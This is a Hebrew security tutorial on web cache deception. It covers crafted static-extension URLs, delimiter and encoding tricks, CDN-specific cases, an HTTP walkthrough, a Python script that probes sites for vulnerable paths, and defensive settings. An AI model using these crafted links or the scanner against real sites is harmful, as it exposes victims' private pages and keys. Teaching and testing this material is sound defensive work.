הטעיית cache - Web Cache Deception¶
מבוא¶
הטעיית cache (Web Cache Deception) היא תקיפה שבה התוקף מרמה את הcache לשמור תגובה שמכילה מידע פרטי של הקורבן. בניגוד לCache Poisoning (Cache Poisoning) שבה התוקף מזריק תוכן זדוני לcache, בהטעיית cache התוקף גורם לcache לשמור תוכן לגיטימי שלא אמור להישמר.
Cache poisoning: attacker sends payload -> cache stores malicious response -> victims receive malicious content
Cache deception: victim accesses a special path -> cache stores private response -> attacker reads from the cache
עקרון התקיפה¶
תהליך התקיפה בשלושה שלבים¶
Step 1: The attacker sends the victim a crafted link
https://vulnerable-website.com/account/settings/nonexistent.css
Step 2: The victim clicks the link while logged in
- The server ignores nonexistent.css and returns the /account/settings page
- The cache sees the .css extension and stores the response
Step 3: The attacker requests the same URL
- The cache serves the stored response, which contains the victim's private information
למה זה עובד¶
הפער בין האופן שבו הcache מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר:
The cache: "the path ends in .css, this is a static file, I'll store it"
The server: "I ignore nonexistent.css, return /account/settings"
בלבול נתיבים - Path Confusion¶
הוספת סיומת סטטית¶
הטכניקה הבסיסית ביותר - הוספת שם קובץ סטטי בסוף נתיב דינמי:
Original path: /account/settings
Crafted path: /account/settings/anything.css
/account/settings/image.png
/account/settings/script.js
/account/settings/style.woff
שרתים שמשתמשים ב-URL rewriting או שמתעלמים מ-path segments נוספים יחזירו את אותה תגובה:
# Flask - path with catch-all
@app.route('/account/settings', defaults={'path': ''})
@app.route('/account/settings/<path:path>')
def settings(path):
return render_template('settings.html', user=current_user)
// Spring Boot - ignores path suffix
@GetMapping("/account/settings")
public String settings(Model model) {
model.addAttribute("user", getCurrentUser());
return "settings";
}
// Spring Boot ignores suffix matching by default
טריקים עם מפרידים - Delimiter-Based Confusion¶
שרתים וcaches מפרשים תווים מיוחדים בנתיבים בצורות שונות:
Null Byte¶
/account/settings%00.css
Server: parses %00 as end of string -> returns /account/settings
Cache: sees the .css extension -> stores
נקודה-פסיק - Path Parameter¶
/account/settings;.css
Java/Tomcat: ; marks the start of a path parameter -> processes /account/settings
Cache: sees the .css extension -> stores
סימן שאלה מקודד¶
/account/settings%3f.css
Server (some): decodes %3f to ? -> processes /account/settings?/.css
Cache: sees the .css extension -> stores
סולמית מקודדת¶
/account/settings%23.css
Server: decodes %23 to # -> ignores .css
Cache: sees the .css extension -> stores
טבלת מפרידים לפי שרת¶
+-------------------+---------+---------+---------+---------+
| Delimiter | Apache | Nginx | Tomcat | Node.js |
+-------------------+---------+---------+---------+---------+
| ; (semicolon) | no | no | yes | no |
| %00 (null) | partial | no | no | partial |
| %23 (hash) | no | no | no | partial |
| %3f (question) | no | no | partial | no |
| . (dot) | yes* | no | yes* | no |
+-------------------+---------+---------+---------+---------+
* depends on configuration
הבדלי נרמול URL¶
נרמול בצד הcache בלבד¶
Request: /account/settings/..%2fstatic/main.css
Cache normalizes: /account/static/main.css (.css extension, stores)
Server does not normalize: looks for /account/settings/..%2fstatic/main.css -> 404 or /account/settings
נרמול בצד השרת בלבד¶
Request: /static/..%2faccount/settings
Server normalizes: /account/settings (returns private page)
Cache does not normalize: sees /static/..%2faccount/settings (in the static folder, stores)
הEncoding כפול¶
Request: /account/settings%252f..%252fstatic/main.css
First decoding step: /account/settings%2f..%2fstatic/main.css
Second decoding step: /account/settings/../static/main.css -> /static/main.css
הExploit התנהגויות CDN ספציפיות¶
Cloudflare¶
Default rules:
- Stores in cache by file extension (.css, .js, .png, .jpg, ...)
- Does not store pages without a known extension
- Cache Rules can change the behavior
Attack:
/account/settings/x.css
/account/settings.css (if the server ignores the extension)
Akamai¶
Default rules:
- Cache key includes the entire path
- Support for path parameters (semicolon)
- Built-in normalization of paths
Attack:
/account/settings;jsessionid=x.css
/account/settings%00.css
Varnish¶
Default rules:
- High flexibility in VCL configuration
- Custom cache key can be defined
- Default - stores based on the Cache-Control header
Attack - depends on VCL configuration:
if (req.url ~ "\.(css|js|png|jpg|gif)$") {
return (hash); # store in cache
}
Fastly¶
דוגמה מלאה - תקיפה צעד אחר צעד¶
שלב 1 - זיהוי שהאפליקציה מחזירה מידע פרטי¶
GET /account/settings HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<h1>Account Settings</h1>
<p>Email: victim@example.com</p>
<p>API Key: sk-secret-key-12345</p>
...
</html>
שלב 2 - זיהוי מנגנון cache¶
GET /static/main.css HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Cache: hit
Age: 3600
Cache-Control: public, max-age=86400
שלב 3 - בדיקת בלבול נתיבים¶
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim_session
HTTP/1.1 200 OK
X-Cache: miss
Content-Type: text/html
<html>
<h1>Account Settings</h1>
<p>Email: victim@example.com</p>
...
</html>
אם השרת מחזיר את דף ההגדרות וה-X-Cache הוא miss - התנאים מתקיימים.
שלב 4 - בדיקה שהתגובה נשמרה¶
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
(without Cookie)
HTTP/1.1 200 OK
X-Cache: hit
<html>
<h1>Account Settings</h1>
<p>Email: victim@example.com</p>
<p>API Key: sk-secret-key-12345</p>
</html>
שלב 5 - ביצוע התקיפה¶
1. Send the victim: https://vulnerable-website.com/account/settings/x.css
2. The victim clicks the link (logged into the system)
3. The response is stored in the cache
4. The attacker requests: https://vulnerable-website.com/account/settings/x.css
5. Receives the response with the victim's private information
סקריפט אוטומציה¶
#!/usr/bin/env python3
"""
Script for detecting cache deception
"""
import requests
import time
def test_cache_deception(base_url, private_path, session_cookie=None):
"""Test for cache deception"""
extensions = ['.css', '.js', '.png', '.jpg', '.gif', '.ico', '.woff']
delimiters = ['/', '%00', ';', '%23', '%3f']
headers = {}
if session_cookie:
headers['Cookie'] = f'session={session_cookie}'
results = []
for delimiter in delimiters:
for ext in extensions:
test_path = f"{private_path}{delimiter}test{ext}"
test_url = f"{base_url}{test_path}"
# Request 1 - with session (as if we are the victim)
resp1 = requests.get(test_url, headers=headers)
if resp1.status_code != 200:
continue
# Check whether the response contains private content
if 'email' not in resp1.text.lower() and 'api' not in resp1.text.lower():
continue
time.sleep(1)
# Request 2 - without session (as if we are the attacker)
resp2 = requests.get(test_url)
cache_status = resp2.headers.get('X-Cache', 'unknown')
if resp2.status_code == 200 and 'email' in resp2.text.lower():
results.append({
'path': test_path,
'delimiter': delimiter,
'extension': ext,
'cache_status': cache_status
})
print(f"[+] Vulnerable! {test_path} (X-Cache: {cache_status})")
return results
if __name__ == "__main__":
results = test_cache_deception(
"https://vulnerable-website.com",
"/account/settings",
"your_session_cookie"
)
if results:
print(f"\n[+] Found {len(results)} vulnerable paths")
else:
print("\n[-] No vulnerabilities found")
ההבדל בין poisoning להטעיה¶
| מאפיין | הCache Poisoning | הטעיית cache |
|---|---|---|
| מי שולח את הבקשה | התוקף | הקורבן |
| מה נשמר בcache | תוכן זדוני | תוכן פרטי לגיטימי |
| מי נפגע | כל מבקר | הקורבן הספציפי |
| דרישה | הheader שאינה במפתח | הבדל בפרשנות נתיבים |
| תוצאה | XSS, הפניות | גניבת מידע פרטי |
הגנה¶
1. הגדרת Cache-Control על דפים דינמיים¶
@app.route('/account/settings')
def settings():
response = make_response(render_template('settings.html'))
response.headers['Cache-Control'] = 'no-store, private'
return response
@GetMapping("/account/settings")
public ResponseEntity<String> settings() {
return ResponseEntity.ok()
.cacheControl(CacheControl.noStore())
.header("Pragma", "no-cache")
.body(renderSettings());
}
2. נרמול URL עקבי¶
- Make sure the cache and the server normalize URLs the same way
- Reject paths with unexpected extensions
- Reject paths with special characters (%00, ;, %23)
3. הגדרת cache לפי Content-Type¶
- Instead of determining caching by file extension, use the response's Content-Type
- If the response is text/html, don't store it (unless configured otherwise)
- If the response is application/javascript or text/css, store it
4. החזרת 404 לנתיבים לא מוכרים¶
# Bad - ignores extra path
@app.route('/account/settings/<path:path>')
def settings_catchall(path):
return settings()
# Good - returns 404
@app.route('/account/settings')
def settings():
return render_template('settings.html')
# Every other path will return 404 automatically
5. בדיקת CDN¶
- Check your CDN's cache rules
- Make sure only specific extensions are stored
- Set up Cache Rules that prevent storing dynamic pages
סיכום¶
הטעיית cache היא תקיפה אלגנטית שמנצלת את הפער בין האופן שבו הcache מחליט מה לשמור לבין האופן שבו השרת מחליט מה להחזיר. נקודות מפתח:
- התקיפה דורשת שהקורבן ילחץ על לינק מעוצב
- בלבול נתיבים, מפרידים ונרמול URL הם וקטורי התקיפה העיקריים
- התוצאה היא חשיפת מידע פרטי (טוקנים, מפתחות API, נתונים אישיים)
- ההגנה דורשת Cache-Control נכון, נרמול עקבי, ו-404 לנתיבים לא מוכרים